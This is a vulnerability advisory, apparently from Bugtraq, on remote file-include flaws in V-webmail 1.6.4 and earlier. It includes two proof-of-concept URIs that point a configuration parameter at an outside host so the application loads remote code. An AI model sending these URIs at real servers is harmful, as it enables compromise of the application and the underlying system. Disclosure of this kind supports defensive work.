V-webmail Multiple Remote File Include Vulnerabilities

Bugtraq ID:	30164
Class:	Input Validation Error
CVE:	CVE-2006-2665 CVE-2006-2666
Remote:	Yes
Local:	No
Published:	May 25 2006 12:00AM
Updated:	Jul 10 2008 10:29PM
Credit:	beford, CraCkEr
Vulnerable:	V-webmail V-webmail 1.6.4 V-webmail V-webmail 1.6.2 V-webmail V-webmail 1.5 V-webmail V-webmail 1.3
Not Vulnerable:

V-webmail Multiple Remote File Include Vulnerabilities

V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

V-webmail 1.6.4 and prior versions are vulnerable.

V-webmail Multiple Remote File Include Vulnerabilities

An attacker can exploit these issues via a browser.

The following proof-of-concept URIs are available:

http://www.example.com/vwebmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=http://www.example2.com
http://www.example.com/v-webmail/includes/mailaccess/pop3.php?CONFIG[pear_dir]=http://www.example2.com

V-webmail Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

V-webmail Multiple Remote File Include Vulnerabilities

References:

• Home Page (V-webmail)